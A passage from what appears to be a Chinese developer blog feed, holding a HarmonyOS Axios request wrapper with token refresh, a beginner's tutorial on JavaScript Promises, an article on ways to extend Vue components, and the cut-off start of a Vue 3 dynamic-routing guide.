  return this.requestByCheckIdentity<T>(() => this.netGet<T>(url, params, headers))
}

postByCheckIdentity<T>(url: string, params?: Map<string, NetParamType>,
  headers?: Map<string, string>): Promise<BaseResult<T>> {
  return this.requestByCheckIdentity<T>(() => this.netPost<T>(url, params, headers))
}

upLoadFileByCheckIdentity(url: string, filePath: string, params?: Map<string, NetParamType>,
  onUploadProgress: (progress: number) => void = () => {
  }): Promise<BaseResult<object>> {
  return this.requestByCheckIdentity<object>(() => this.upLoadFile(url, filePath, params, onUploadProgress))
}

最后贴上请求基类的完整代码

export abstract class BaseNetRequest {
  private axiosInstance: AxiosInstance = axios.create({
    timeout: 10000
  })

  constructor() {
    this.axiosInstance.interceptors.request.use((config: InternalAxiosRequestConfig) => {
      console.info('Axios Request:' + JSON.stringify(config))
      return config
    })
    this.axiosInstance.interceptors.response.use((response: AxiosResponse) => {
      console.info('Axios Response:' + JSON.stringify(response))
      return response
    })
  }

  private axiosGet<T>(url: string, axiosConfig: AxiosRequestConfig): Promise<T> {
    return this.axiosInstance.get<T, AxiosResponse<T>, null>(url, axiosConfig).then((response: AxiosResponse<T>) => {
      const data = response.data
      if (!data) {
        Promise.reject(new Error('response data is null'))
      }
      return data
    }).catch((error: Error) => {
      return Promise.reject(error)
    })
  }

  //get 请求
  netGet<T>(url: string, params?: Map<string, NetParamType>,
    headers?: Map<string, string>): Promise<BaseResult<T>> {
    //请求参数
    const axiosParams = new Map<string, NetParamType>()
    if (params && params.size > 0) {
      params.forEach((value, key, _) => {
        axiosParams[key] = value
      })
    }
    //请求头
    const axiosHeaders = new AxiosHeaders()
    if (globalToken.length > 0) {
      axiosHeaders.set('token', globalToken)
    }
    if (headers && headers.size > 0) {
      headers.forEach((value, key, _) => {
        axiosHeaders.set(key, value)
      })
    }
    const axiosRequestConfig: AxiosRequestConfig = {
      headers: axiosHeaders,
      params: axiosParams
    }
    const axiosUrl = BASE_URL + url
    return this.axiosGet<BaseResult<T>>(axiosUrl, axiosRequestConfig)
  }

  private axiosPost<T>(url: string, params: string, axiosConfig: AxiosRequestConfig): Promise<T> {
    return this.axiosInstance.post<T, AxiosResponse<T>, string>(url, params,
      axiosConfig).then((response: AxiosResponse<T>) => {
      const data = response.data
      if (!data) {
        Promise.reject(new Error('response data is null'))
      }
      return data
    }).catch((error: Error) => {
      return Promise.reject(error)
    })
  }

  //post 请求
  netPost<T>(url: string, params?: Map<string, NetParamType>, headers?: Map<string, string>): Promise<BaseResult<T>> {
    let formParams = ''
    if (params && params.size > 0) {
      const formArray: string[] = []
      params.forEach((value, key, _) => {
        const encodedKey = encodeURIComponent(key)
        const encodeValue = encodeURIComponent(value)
        formArray.push(`${encodedKey}=${encodeValue}`)
      })
      formParams = formArray.join('&')
    }
    const axiosHeaders = new AxiosHeaders().set('Content-Type', 'application/x-www-form-urlencoded')
    if (globalToken.length > 0) {
      axiosHeaders.set('token', globalToken)
    }
    if (headers && headers.size > 0) {
      headers.forEach((value, key, _) => {
        axiosHeaders.set(key, value)
      })
    }
    const axiosRequestConfig: AxiosRequestConfig = {
      headers: axiosHeaders
    }
    const axiosUrl = BASE_URL + url
    return this.axiosPost<BaseResult<T>>(axiosUrl, formParams, axiosRequestConfig)
  }

  //文件下载
  downLoadFile(context: Context, url: string, method: string, filePath: string,
    onDownloadProgress: (progress: number) => void = () => {
    }, onDownloadResult: (result: AxiosResponse) => void = () => {
    }, onDownloadError: (errorMsg: string) => void = () => {
    }) {
    this.axiosInstance<AxiosResponse>({
      url: url,
      method: method,
      context: context,
      filePath: filePath,
      onDownloadProgress: (event: AxiosProgressEvent): void => {
        let progress = (event && event.loaded && event.total) ? Math.ceil(event.loaded / event.total * 100) : 0
        onDownloadProgress(progress)
      }
    }).then((result: AxiosResponse) => {
      onDownloadResult(result)
    }).catch((e: AxiosError) => {
      onDownloadError(e.message)
    })
  }

  //文件上传
  upLoadFile(url: string, filePath: string, params?: Map<string, NetParamType>,
    onUploadProgress: (progress: number) => void = () => {
    }): Promise<BaseResult<object>> {
    const formData = new FormData()
    if (params && params.size > 0) {
      params.forEach((value, key, _) => {
        formData.append(key, value)
      })
    }
    const axiosHeaders = new AxiosHeaders({ 'Content-Type': 'multipart/form-data' })
    if (globalToken.length > 0) {
      axiosHeaders.set('token', globalToken)
    }
    try {
      let file2 = fs.openSync(filePath, fs.OpenMode.READ_WRITE | fs.OpenMode.CREATE)
      let stat = fs.lstatSync(filePath)
      let buf2 = new ArrayBuffer(stat.size)
      fs.readSync(file2.fd, buf2)
      fs.fsyncSync(file2.fd)
      fs.closeSync(file2.fd)
      formData.append('video', buf2)
    } catch (e) {
      console.error('read file error: ' + JSON.stringify(e))
    }
    return this.axiosInstance.post<BaseResult<object>, AxiosResponse<BaseResult<object>>, FormData>(BASE_URL + url,
      formData, {
        headers: axiosHeaders,
        context: getContext(this),
        onUploadProgress: (event: AxiosProgressEvent): void => {
          let progress = (event && event.loaded && event.total) ? Math.ceil(event.loaded / event.total * 100) : 0
          onUploadProgress(progress)
        },
      }).then((response: AxiosResponse<BaseResult<object>>) => {
      const data = response.data
      if (!data) {
        Promise.reject(new Error('response data is null'))
      }
      return data
    }).catch((error: Error) => {
      return Promise.reject(error)
    })
  }

  //获取身份信息,比如 token
  refreshIdentity(): Promise<BaseResult<IdentityInfo[]>> {
    return GeneralRequest.getIdentityInfo(this)
  }

  //带身份验证检查的请求方法
  private requestByCheckIdentity<T>(block: () => Promise<BaseResult<T>>): Promise<BaseResult<T>> {
    if (globalToken.length == 0) {
      return this.refreshIdentity().then(() => {
        return block()
      })
    }
    return block().then((result) => {
      if (result.code == 401) { //token失效,重新刷新 token。
        return this.refreshIdentity().then(() => {
          return block()
        })
      } else {
        return result
      }
    })
  }

  // 带 token 验证的 get 请求
  getByCheckIdentity<T>(url: string, params?: Map<string, NetParamType>,
    headers?: Map<string, string>): Promise<BaseResult<T>> {
    return this.requestByCheckIdentity<T>(() => this.netGet<T>(url, params, headers))
  }

  // 带 token 验证的 post 请求
  postByCheckIdentity<T>(url: string, params?: Map<string, NetParamType>,
    headers?: Map<string, string>): Promise<BaseResult<T>> {
    return this.requestByCheckIdentity<T>(() => this.netPost<T>(url, params, headers))
  }

  // 带 token 验证的文件上传
  upLoadFileByCheckIdentity(url: string, filePath: string, params?: Map<string, NetParamType>,
    onUploadProgress: (progress: number) => void = () => {
    }): Promise<BaseResult<object>> {
    return this.requestByCheckIdentity<object>(() => this.upLoadFile(url, filePath, params, onUploadProgress))
  }
}

使用案例

使用时我们只需继承这个 BaseNetRequest 即可实现各种请求。

export class NetRequest extends BaseNetRequest {
  getHttpData(params: Map<string, string>): Promise<BaseResult<GetBean[]>> {
    return this.getByCheckIdentity<GetBean[]>('/huawei/harmony/net/get/test', params)
  }

  postHttpData(params: Map<string, string>): Promise<BaseResult<PostBean[]>> {
    return this.postByCheckIdentity<PostBean[]>('/huawei/harmony/net/post/test', params)
  }

  uploadLocalFile(filePath: string, params?: Map<string, NetParamType>,
    onUploadProgress: (progress: number) => void = () => {
    }): Promise<BaseResult<object>> {
    return this.upLoadFileByCheckIdentity('/huawei/harmony/net/uploadLocalFile/test', filePath, params,
      onUploadProgress)
  }
}

export const netRequest = new NetRequest()

然后在实际界面中调用即可,如下所示:

@Entry
@Component
struct Index {

  async getHttpData() {
    try {
      const response = await netRequest.getHttpData(new Map([
        ['manufacturer', 'huawei'],
        ['system', 'harmony'],
      ]))
      const data = response.data
      if (data) {
        console.info('getHttpData: ' + JSON.stringify(data))
      } else {
        console.error('getHttpData fail: ' + JSON.stringify(response))
      }
    } catch (e) {
      console.error('getHttpData error: ' + e)
    }
  }

  async postHttpData() {
    try {
      const response = await netRequest.postHttpData(new Map([
        ['system', 'harmony']
      ]))
      if (response.code == 200) {
        console.info('postHttpData success')
      } else {
        console.error('postHttpData fail: ' + JSON.stringify(response))
      }
    } catch (e) {
      console.error('postHttpData error: ' + e)
    }
  }

  async uploadLocalFile() {
    try {
      const filePath = getContext(this).cacheDir + '/video/video.mp4'
      const response = await netRequest.uploadLocalFile(filePath, new Map([
        ['manufacturer', 'huawei'],
        ['system', 'harmony'],
      ]), (progress: number) => {
        console.info('uploadLocalFile progress: ' + progress)
      })
      if (response.code == 200) {
        console.info('uploadLocalFile success')
      } else {
        console.error('uploadLocalFile fail: ' + JSON.stringify(response))
      }
    } catch (e) {
      console.error('uploadLocalFile error: ' + e)
    }
  }

  async downLoadFile() {
    try {
      const dir = getContext(this).cacheDir + '/video'
      if (!fs.accessSync(dir)) {
        fs.mkdirSync(dir)
      }
      //具体的文件路径是:/data/app/el2/100/base/<Package_Name>/haps/entry/cache/video/video.mp4
      const downloadPath = dir + '/video.mp4'
      if (fs.accessSync(downloadPath)) {
        fs.unlinkSync(downloadPath)
      }
      netRequest.downLoadFile(getContext(this),
        'https://developer.huawei.com/consumer/cn/test.mp4', 'GET',
        downloadPath, (progress) => {
          console.info('downLoadFile progress:' + progress)
        }, (result: AxiosResponse) => {
          if (result.status == 200) {
            console.info('downLoadFile success')
          } else {
            console.error('downLoadFile result:' + result)
          }
        }, (errorMsg: string) => {
          console.error('downLoadFile errorMsg: ' + errorMsg)
        })
    } catch (e) {
      console.error('downLoadFile error: ' + e)
    }
  }

  build() {
    Column({ space: 10 }) {
      Button('get request').width(100).height(50).onClick(() => {
        this.getHttpData()
      })

      Button('post request').width(100).height(50).onClick(() => {
        this.postHttpData()
      })

      Button('downLoadFile').width(100).height(50).onClick(() => {
        this.downLoadFile()
      })

      Button('uploadFile').width(100).height(50).onClick(() => {
        this.uploadLocalFile()
      })
    }
    .height('100%')
    .width('100%')
  }
}

至此,我们就已完成了鸿蒙 Axios 的二次封装。Axios 为开发者提供了高效且便捷的工具,相信在未来的鸿蒙生态建设中,Axios 将继续发挥关键作用,进一步拓展鸿蒙开发的无限潜力。

by 阿健君 at January 21, 2025 09:47 AM

juejin frontend

💡JS-万字讲解Promise,入门看这一篇就够了

这篇文章讲解 promise 各个方面的基本使用,从promise的状态、promise的创建、promise的值、promise的then、promise的链式调用、promise的catch等等内容,文章深入浅出,通俗易懂,目的是为了让初学者能够简单且全面地掌握promise

下面我们开始

promise 的状态

promise 的状态 status 有三种,一种的待定 pending,一种成功 fulfilled,一种是失败 rejected

promise 状态在某一时刻只能为一种

promise 的状态如果从待定状态变成了 fulfilled,或者是 rejected 后,就不能变成其他的状态了

promise 对象的创建

创建 promise 对象,通过 Promise 构造函数

这个构造函数接受一个函数作为参数。在创建 promise 对象的过程中,会调用传入的参数,并且传入两个函数 resolve,和 reject

const promise = new Promise((resolve,reject)=>{});

上面创建了一个 promise 示例,这个 promise 的状态是 pending

如果我们想改变这个 promise 对象的状态,就需要调用其中的 resolve 函数,或者是 reject 函数

const promise = new Promise((resolve, reject)=>{
  resolve();
})

状态变成了fulfilled

const promise = new Promise((resolve, reject)=>{
  reject();
})

状态变成了 rejected

可以很清楚的看到,当我们调用 resolve 或者 reject 之后,promise 的状态发生了变化。调用 resolve 参数会将 promise 的状态变成 fulfilled, 或者调用 reject 参数会将 promise 的状态的变成 rejected

我们还可以尝试,在调用了 resolve()之后,再调用 reject()会发生什么?

没有报错,状态也没有发生变化,还是保持fulfilled, 这是符合预期的。因为 promise 的状态一旦落定,就不能更改。

promise 的值

在调用 resolve()的时候,我们还可以向其传入实参:

const promise = new Promise((resolve, reject)=>{
  resolve(1);
})

可以从图中看到,打印出来的 promise 不仅仅有状态的信息,还有 result,这个 result 的值是 1,正好是我们传入的实参。

这个 result 就是指 promise

resolve 时候传入的值叫成功的值,reject 的值就是失败的值了

const promise = new Promise((resolve, reject)=>{
  reject(1);
})

我们虽然可以看见 promise 的值,但是应该如何获取其中的值呢?

promise 对象,包括其原型对象中并没有类似 value,或者 getValue 属性,让我们获取其中的值,所以这条路是行不通的,得通过 then 函数:

const promise = new Promise((resolve, reject)=>{
    resolve(1);
}).then(
    res=>{
        console.log('fulfilled: ', res);
    },
    err=>{
        console.log('rejected: ', err)
    }
)

then 函数接受两个函数作为参数,当 promise 的状态是fulfilled, 就会调用第一个参数,当其状态为 rejected,就会调用第二个参数。

then 的反复调用

我们还可以反复的在同一个 promise 上面调用 then 函数:

const promise = new Promise((resolve, reject)=>{
    resolve(1);
})

promise.then(
    res=>{
        console.log('fulfilled1: ', res);
    },
    err=>{
        console.log('rejected1: ', err)
    }
)

promise.then(
    res=>{
        console.log('fulfilled2: ', res);
    },
    err=>{
        console.log('rejected2: ', err)
    }
)

promise.then(
    res=>{
        console.log('fulfilled3: ', res);
    },
    err=>{
        console.log('rejected3: ', err)
    }
)

打印结果:

可以看到,promise 的值都顺利拿到了。

反复调用的 then 的含义就意味着反复读取 promise 中的值!

promise 的异步性

下面看 promise 的异步性

console.log('start');

setTimeout(()=>{
  console.log(1);
},0);

console.log('end');

上面代码打印的结果是什么?

可以看到最后打印了 1,因为 setTimeout 中代码是异步执行。即使其是 0ms 之后执行的!

再看下面的代码:

console.log('start');

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
}).then(
    res=>{
        console.log('fulfilled: ', res);
    },
    err=>{
        console.log('rejected: ', err)
    }
)

console.log('end');

上面的代码执行结果是什么呢?

promise resolve在 start 和 end 中间打印出来,Promise 构造函数的代码是同步代码。而fulfilled:1end 后面调用,所以 then 里面的代码是异步代码!

promise 的微任务性

上面是简单的,显而易见的结论,下面深入一下

then 的参数函数是异步代码,在实际执行过程中,会将函数包裹成一个 task,放到微任务队列中,与 setTimeout 不相同,setTimeout 中的函数虽说也是异步,但其会将函数包裹成宏任务,放到定时队列中。

关于更多的微任务和宏任务,定时任务等新名词,这里简单解释一下,完全了解还得看这篇文章:JS-浏览器的任务队列

浏览器有两种任务,宏任务和微任务。其中宏任务又分为普通任务,和定时任务。

一般 script 脚本,或者用户交互(点击,点击键盘)执行的脚本,都是普通的宏任务。产生的宏任务会被放在宏任务队列中,等待主线程执行。

setTimoutsetInterval生成的任务,是定时任务。定时任务刚开始会被放在定时任务队列中,等定时任务时间一到,就会被放到普通宏任务队列中,等到主线程执行。

微任务,刚产生也是被放在一个队列中的,这个队列叫微任务队列。

执行顺序:浏览器会先执行宏任务,然后再执行所有的微任务;然后是下一个宏任务,然后再是所有的微任务,如此循环。

在浏览器每执行完当前的宏任务和所有的微任务,就会去定时任务队列中扫描,看看有没有计时结束的任务,如果有,就将其取出,并放入宏任务队列中。

要是处理微任务队列的过程中,产生的了新的微任务,依旧直接放入微队列中。直到所有的微任务都被执行,主线程就会执行下一个宏任务

then 函数中的异步任务是微任务,所以优先级高于 setTimeout

console.log('start');

setTimeout(()=>{
  console.log(1);
},0);

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
}).then(
    res=>{
        console.log('fulfilled: ', res);
    },
    err=>{
        console.log('rejected: ', err)
    }
)

console.log('end');

then 的返回值

then 函数也是有返回值的,它的返回值是一个新的 promise

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
})

const promise1 = promise.then(
    res=>{
        console.log('fulfilled: ', res);
    },
    err=>{
        console.log('rejected: ', err)
    }
)

console.log(promise !== promise1); // true

拿到一个 promise,我们关心什么?关心它的状态,以及它的值。那生成的新的 promise 的状态和值是什么呢?

其实,新生成的 promise 的状态和值由 then 里的参数函数决定。

then 第一个参数是处理 promise 成功的状态,一般称其为 onFulfilled;第二个参数是处理 promise 失败的状态,一般称其为 onRejected

下面就用 onFulfilled 的返回值举个例子:

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
})

const promise1 = promise.then(
    res=>{
        console.log('fulfilled: ', res);
        return 200;
    },
    err=>{
        console.log('rejected: ', err)
    }
)

console.log(promise1);

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
})

const promise1 = promise.then(
    res=>{
        console.log('fulfilled: ', res);
        return {name: 'zenos'};
    },
    err=>{
        console.log('rejected: ', err)
    }
)
console.log(promise1);

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
})

const promise1 = promise.then(
    res=>{
        console.log('fulfilled: ', res);
        return new Promise((resolve, reject)=>{
          resolve('love-blue');
        });
    },
    err=>{
        console.log('rejected: ', err)
    }
)

console.log(promise1);

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
})

const promise1 = promise.then(
    res=>{
        console.log('fulfilled: ', res);
        return new Promise((resolve, reject)=>{
          reject('zenos');
        });;
    },
    err=>{
        console.log('rejected: ', err)
    }
)

console.log(promise1);

看完上面四个很简单的例子,相信你肯定已经知道 then 返回的新 promiseonFulfilled 之间是什么关系

  1. onFulfilled 可以返回任意值,如果返回的是非 promise 值,那么生成的新 promise 的状态都是fulfilled,并且它的值和 onFulfilled 的返回值一致
  2. 如果 onFulfilled 返回的是 promise 对象,那么生成的新 promise 的状态和返回的 promise 的状态一致,且值也是一致的。

好,这个点搞懂了,那么 then 返回一个新的 promise 意味着什么呢?

意味着可以链式调用 then!

promise 的链式调用

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
})

const promise1 = promise
  .then(
    res=>{
        console.log('fulfilled: ', res);
        return 'zenos'
    },
    err=>{
        console.log('rejected: ', err)
    }
)
  .then(
    res=>{
        console.log('fulfilled2: ', res);
        return 'blue'
    },
    err=>{
        console.log('rejected: ', err)
    }
)

打印一下:

打印结果第一行是 promise resolve,是因为同步执行了构造函数的参数,所以打印出来了

打印结果第二行是fulfilled:1,是因为上一个 promise 对象的状态是成功的,并且值为 1

打印结果第三行是fulfilled2: zenos,是因为第一个 then 返回了一个普通值zenos,所以其返回的新 promise 的状态为 fulfilled,并且值为 zenos

其实上面的代码还可以简化成:

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    resolve(1);
}).then(
    res=>{
        console.log('fulfilled: ', res);
        return 'zenos'
    },
    err=>{
        console.log('rejected: ', err)
    }
)
  .then(
    res=>{
        console.log('fulfilled2: ', res);
        return 'blue'
    },
    err=>{
        console.log('rejected: ', err)
    }
)

⚠️注意:现在代码中 promise 对象,就是第二个 then 返回的对象咯

promise 的失败不传染性

如果刚开始 promise 的状态是 rejected,会发生什么呢?

const promise = new Promise((resolve, reject)=>{
    console.log('promise resolve');
    reject(2);
}).then(
    res=>{
        console.log('fulfilled: ', res);
        return 'zenos'
    },
    err=>{
        console.log('rejected: ', err);
    }
)
  .then(
    res=>{
        console.log('fulfilled2: ', res);
        return 'blue'
    },
    err=>{
        console.log('rejected: ', err);
    }
)

打印结果:

第一行打印结果意料之中。第二行打印结果是rejected:2,是因为上一个 promise 的状态是 rejected,所以 then 中的第二个回调函数被执行;并且失败的值是 2, 所以 err 的值为 2

第三行的打印结果为 fulfilled2: undefined, 这是执行了第二个 then 中的onFulfilled(then 的第一个回调),并且 res 的值为 undefined

可以推断出,第一个 then 返回的 promise 的状态是 fulfilled,并且值为 undefined

其实 then 返回的 promise 对象的状态和值,不仅仅由onFulfilled(then 的第一个回调)决定,也由onRejected(then 的第二个回调)决定。并且决定的规则是相同的。

  1. onRejected 可以返回任意值,如果返回的是非 promise 值,那么生成的新 promise 的状态都是fulfilled,并且它的值和 onFulfilled 的返回值一致
  2. 如果 onRejected 返回的是 promise 的值,那么生成的新 promise 的状态和返回的 promise 的状态一致,且值也是一致的。

这就是 then 中的失败不传染性

失败的 promise 在前面 then 中被解决了,那么后面的 then 得到的就是 fulfilledpromise

如果我想将失败的状态往后传,应该怎么做呢? 很简单啊,我在onRejected中返回一个失败状态的 promise 不就可以了?

const promise = new Promise((resolve, reject) => {
console.log("promise resolve");
reject(2);
})
.then(
(res) => {
console.log("fulfilled: ", res);
return "zenos";
},
(err) => {
console.log("rejected: ", err);
return new Promise((resolve, reject) => {
reject(err);
});
}
)
.then(
(res) => {
console.log("fulfilled2: ", res);
return "blue";
},
(err) => {
console.log("rejected: ", err);
}
);

打印结果:

还有一种不推荐的做法,在onRejected中抛出错误也可以:

const promise = new Promise((resolve, reject) => {
console.log("promise resolve");
reject(2);
})
.then(
(res) => {
console.log("fulfilled: ", res);
return "zenos";
},
(err) => {
console.log("rejected: ", err);

throw err;
}
)
.then(
(res) => {
console.log("fulfilled2: ", res);
return "blue";
},
(err) => {
console.log("rejected: ", err);
}
);

其实,无论在onRejected还是 onResolved抛出错误,都不会导致整个的程序崩溃,只会让当前的 then 返回的 promise 变成失败的状态,并且 promise 的值为错误抛出的内容。

promise 中的 catch

很多时候,我们在使用 then 的链式调用时,处理错误的方式是一致的,并且只想处理一遍,不想每个then 中都处理一次,then 支持只传入onFulfilled,省略onRejected,失败的 promise 遇到这种 then,会跳过这个 then,并将失败的 promise 向后传递:

const promise = new Promise((resolve, reject) => {
console.log("promise resolve");
reject(2);
})
.then((res) => {
console.log("fulfilled: ", res);
return "zenos";
})
.then(
(res) => {
console.log("fulfilled2: ", res);
return "blue";
},
(err) => {
console.log("rejected: ", err);
}
);

打印结果有两行,第二个 then 顺利处理了失败的 promise

看着是不是像第一个 then 被跳过了

promise 还支持这种写法:

const promise = new Promise((resolve, reject) => {
console.log("promise resolve");
reject(2);
})
.then((res) => {
console.log("fulfilled: ", res);
return "zenos";
})
.then((res) => {
console.log("fulfilled2: ", res);
return "blue";
})
.catch((err) => {
console.log("catch: ", err);
});

then 中一律省略onRejected参数,在所有的 then 后面接一个.catch,用来处理链式调用过程中出现所有错误。

catch 有点像 try...catch的写法,catch 中的代码,在 try 中抛出错误之后,就会被执行。而 promise中的 catch回调函数 ,在链式调用过程中抛出了错误,就会被执行。

promise 中的 finally

除了 catchpromise 还支持 finally,不过这里的finallytry...catch..finallyfinally不一样,try...catchfinally表示 try 中是否出现错误都会执行,并且,无论 trycatch 中是否有 return,都会执行。

但是 promisefinally 并不是那个意思。finally 中回调函数,无论 promise 是失败还是成功,都会执行,不过 finally 中拿不到 promise 的值。 finally 后面还可以继续 then(因为 finally 也会返回 promise), 并且会原封不动的将状态和值传递给后面的 then

const promise = new Promise((resolve, reject) => {
console.log("promise resolve");
reject(2);
})
.then((res) => {
console.log("fulfilled: ", res);
return "zenos";
})
.then((res) => {
console.log("fulfilled2: ", res);
return "blue";
})
.finally((res) => {
console.log("end1: ", res);
})
.catch((err) => {
console.log("catch: ", err);
return "catch err";
})
.finally((res) => {
console.log("end2: ", res);
})
.then((res) => {
console.log("fulfilled3: ", res);
});

尽管 finally 有很多需要注意的性质,但在开发中,我们还是习惯将其放在链式 then 的最后,用来表示最后执行的动作。

promise 的中文含义

promise 的中文含义是承诺,表示它承诺,当它的状态落定后,一定做某某事情。

这个状态落定的意思是 promise 的状态从 pending 变成 fulfilled,或者变成 rejected

一定做某某事情的意思是,通过 then 来“注册”的回调函数,一定会被执行。不过成功后执行成功的回调,失败后执行失败的回调。

至于什么时候状态落定,就看”天意“了哈哈哈哈

看个例子:

fetch("/all-tasks")
.then((res) => res.json())
.then((res) => {
const data = res.data;
return data;
})
  .catch(err=>{
    console.log('请求接口失败: ',err);
  });

这是一个经典的请求接口的代码。通过 fetch 访问/all-tasks接口,fetch()会返回一个 promise

后面的then就表示处理接口返回的数据了。但是这个 then 中回调函数什么时候会被执行呢??

答案是天晓得,什么时候接口请求成功了,什么时候fetch返回的 promise 状态落定了,then 中回调函数自然就会被执行了。

用承诺的角度看,promise 承诺,在接口请求成功的时候,执行:

(res) => res.json()

以及:

(res) => {
const data = res.data;
return data;
}

如果接口请求失败了,就会执行:

err=>{
    console.log('请求接口失败: ',err);
  }

总结

这篇文章讲了 promise 的基本使用,从 promise 的创建,promise 的异步性,promise 的微任务性,promisethen 重复调用,promise 的链式 then 调用,promise 的失败不传染性,还介绍了一些其他的 API,有 catchfinally

希望这篇文章的介绍可以帮助你初步掌握 promise 的使用,下篇文章,我们来深入学习 promise 的实战应用

by 慢功夫 at January 21, 2025 09:47 AM

如何扩展vue组件

要扩展Vue组件,可以通过以下几种方式:

1、使用混入(Mixins)

2、使用继承

3、使用高阶组件(Higher-Order Components)

4、使用插槽(Slots)

这些方法可以帮助开发者在不同场景下更灵活地重用和扩展组件功能。下面我们将详细描述每种方法的使用方式和适用场景。

一、使用混入(Mixins)

混入是Vue中一种非常强大的复用机制。它允许你将可复用的功能分离出来,并在多个组件中共享。

步骤:

  1. 创建一个混入对象,将复用的功能定义在其中。
  2. 在需要扩展功能的组件中引入这个混入对象。

示例:

// 定义一个混入对象

const myMixin = {

  data() {

    return {

      mixinData: '这是混入的数据'

    };

  },

  methods: {

    mixinMethod() {

      console.log('这是混入的方法');

    }

  }

};

// 在组件中使用混入

export default {

  mixins: [myMixin],

  data() {

    return {

      componentData: '这是组件的数据'

    };

  },

  created() {

    this.mixinMethod();

  }

};

适用场景:

  • 当多个组件需要共享相同的数据、方法或生命周期钩子时,可以使用混入来避免重复代码。

二、使用继承

Vue组件可以通过继承来扩展现有组件的功能。

步骤:

  1. 创建一个基础组件,包含通用的逻辑和模板。
  2. 创建一个新的组件,使用基础组件作为父组件进行扩展。

示例:

// 定义一个基础组件

const BaseComponent = {

  template: `<div>基础组件</div>`,

  data() {

    return {

      baseData: '这是基础组件的数据'

    };

  }

};

// 扩展基础组件

export default {

  extends: BaseComponent,

  data() {

    return {

      extendedData: '这是扩展组件的数据'

    };

  }

};

适用场景:

  • 当需要创建多个类似但稍有不同的组件时,可以使用继承来减少重复代码。

三、使用高阶组件(Higher-Order Components)

高阶组件是一种函数,接收一个组件作为输入,并返回一个增强后的新组件。

步骤:

  1. 创建一个高阶组件函数,接收一个组件作为参数。
  2. 在高阶组件函数中,返回一个新的组件,并在其中添加额外的逻辑或功能。

示例:

// 定义一个高阶组件函数

function withExtraProps(WrappedComponent) {

  return {

    render(h) {

      return h(WrappedComponent, {

        props: {

          ...this.$props,

          extraProp: '这是额外的属性'

        }

      });

    }

  };

}

// 使用高阶组件

const MyComponent = {

  template: `<div>{{ extraProp }}</div>`

};

export default withExtraProps(MyComponent);

适用场景:

  • 当需要为多个组件添加相同的额外逻辑或属性时,可以使用高阶组件来实现。

四、使用插槽(Slots)

插槽是一种非常灵活的方式,可以让父组件向子组件传递内容,从而实现组件的扩展。

步骤:

  1. 在子组件中定义插槽。
  2. 在父组件中使用子组件,并通过插槽传递内容。

示例:

<!-- 子组件 -->

  <template>
  <div>

  <slot></slot> <!-- 默认插槽 -->
  <slot name="header"></slot> <!-- 具名插槽 -->

  </div>
  </template>
  <script>
  export default {
    name: 'ChildComponent'
  };

</script>
  <!-- 父组件 -->

  <template>

  <child-component>

  <p>这是默认插槽的内容</p>

  <h1 slot="header">这是具名插槽的内容</h1>

  </child-component>

  </template>

  <script>

  import ChildComponent from './ChildComponent.vue';

export default {

  components: {

    ChildComponent

  }

};

</script>

适用场景:

  • 当需要在子组件中动态插入父组件的内容时,可以使用插槽来实现灵活的内容传递。

总结

扩展Vue组件的方法有很多,每种方法都有其适用的场景和优缺点。通过使用混入、继承、高阶组件和插槽,开发者可以根据具体需求选择最合适的方式来扩展和复用组件功能。这不仅可以提高代码的复用性和可维护性,还能让开发过程更加高效和灵活。在实际应用中,建议根据项目的具体需求和复杂度,灵活运用这些方法,以达到最佳的开发效果。

相关问答FAQs:

1. 什么是Vue组件的扩展?

Vue组件的扩展是指在已有的组件基础上添加新的功能或修改现有的功能。通过扩展,我们可以在不改动原有组件代码的情况下,增加组件的功能或改变组件的行为。

2. 如何通过混入(mixin)扩展Vue组件?

通过混入,我们可以在多个组件之间共享代码。混入是指将一个对象的属性和方法合并到另一个对象中。在Vue中,我们可以通过混入来扩展组件的功能。

首先,创建一个混入对象,其中包含你想要扩展的属性和方法:

const myMixin = {
  data() {
    return {
      message: 'Hello, mixin!'
    }
  },
  methods: {
    greet() {
      console.log(this.message);
    }
  }
}

然后,在需要扩展的组件中使用mixins选项将混入对象添加到组件中:

Vue.component('my-component', {
  mixins: [myMixin],
  mounted() {
    this.greet(); // 输出:Hello, mixin!
  }
})

通过混入,我们可以在多个组件中共享相同的代码,提高代码的复用性和可维护性。

3. 如何通过插槽(slot)扩展Vue组件?

插槽是Vue组件中的一种特殊语法,允许我们向组件中传递内容。通过插槽,我们可以在组件中定义可变的部分,使其可以根据使用组件的上下文来展示不同的内容。

首先,在组件模板中使用<slot>元素来定义插槽:

<template>
  <div>
    <h2>我是一个标题</h2>
    <slot></slot>
  </div>
</template>

然后,在使用组件的地方,可以在组件标签中添加内容来填充插槽:

<my-component>
  <p>我是插槽中的内容</p>
</my-component>

最终,组件将会渲染为:

<div>
  <h2>我是一个标题</h2>
  <p>我是插槽中的内容</p>
</div>

通过插槽,我们可以根据需要向组件中传递不同的内容,实现更灵活的组件扩展。

总结:

通过混入和插槽,我们可以在Vue组件中实现功能的扩展。混入可以用于共享代码,提高代码的复用性和可维护性;插槽可以用于向组件中传递内容,实现灵活的组件扩展。在实际开发中,根据具体的需求选择适合的扩展方式,可以帮助我们更好地构建和维护Vue组件。如何扩展vue组件

by KarajanKing at January 21, 2025 09:34 AM

vue3动态路由,解决刷新页面空白或跳转404问题

vue3动态路由,解决刷新页面空白或跳转404问题

前言

开发后台管理系统时,有时后端会根据权限返回不同的菜单列表,前端需要异步获取数据然后实时生成路由配置。

在vue3项目中,我们使用pinia、vue-router实现动态路由,关键步骤如下:

  1. 异步请求获取路由接口数据;
  2. pinia状态管理保存路由信息;
  3. vue-router实现路由配置;
  4. 动态添加路由。

1 异步请求获取路由接口数据

// /src/api/route.js
export const getRouteList = () => {
  // 模拟异步请求
  return new Promise((resolve) => {
    setTimeout(() => {
      resolve([
        {
          name: "home",
          path: "/home",
          meta: { title: "首页" },
        },
        {
          name: "user",
          path: "/user",
          meta: { title: "用户" },
        },
      ])
    }, 1000)
  })
}

2 pinia状态管理保存路由信息

// /src/store/route.js
